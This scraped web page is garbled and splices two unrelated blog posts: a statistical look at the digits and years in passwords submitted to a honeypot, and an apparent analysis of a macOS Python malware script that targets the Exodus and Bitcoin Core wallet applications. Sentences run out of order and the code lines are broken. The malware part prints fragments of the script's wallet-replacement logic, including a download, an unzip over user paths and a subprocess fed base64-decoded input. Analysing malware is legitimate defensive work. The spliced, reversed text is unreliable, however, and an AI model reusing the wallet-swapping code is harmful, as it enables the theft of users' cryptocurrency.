![]() What about years? Well, the same method was used, but looking for contiguous numbers of length 4.įigure 3: Top 10 numbers used within passwords containing only 4 digits This isn't too surprising, but interesting to see within the data. This may mean that most of the time, passwords may be used with incrementing numbers when changed, or simply appended with the next highest number. Generally, the lower the number, the more frequently it is used. Of the individual digits used, whether alone or within a larger number, the most commonly used in order are 1, 2 and 3. Of the contiguous numbers submitted, they are either the individual digits between 1 and 4 or numbers added sequentially to 1, such as "12", "123", or "1234".įigure 2: Top 10 digits used most often within passwords submitted to a honeypot The most commonly used number within passwords submitted to one of my honeypots was "123". Plt.title(f"Numbers Used in Unique Passwords Submitted to Honeypot")įigure 1: Top 10 contiguous numbers used in passwords submitted to a honeypot n(['unzip', "-o", zelec, '-d', "/Users/ Numbers Used in Unique Passwords Submitted to Honeypot")įor number, frequency in individual_digit_ems(): If not os.path.exists("/Applications/Exodus.app"):ĭownload_file_with_progress(realelecurl, zelec) Then, the script will replace applications. O = p.communicate(input=base64.b64decode(c), timeout=10) P = subprocess.Popen(, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) Size_in_mb = get_dir_size(exodus_path) / (1024 * 1024) # Convert bytes to megabytes # If the directory is not found, skip to the nextĪpp_name = app # Remove the '.app' extensionĪpp_path = os.path.join(applications_path, app)Įxodus_path = os.path.join(applications_path, 'Exodus.app') It searches for occurrences of these applications:Īpplication_paths = įor applications_path in application_paths: ![]() What does it do? It targets two applications: Exodus and Bitcoin Core. ![]() The script is not obfuscated and is easy to understand. ![]() Here is a good example: I found a malicious Python script targeting wallet application on macOS. But the landscape is changing and threats are emerging in this ecosystem too. Still today, many people think that Apple and its macOS are less targeted by malware. This post was originally published on this site ![]()
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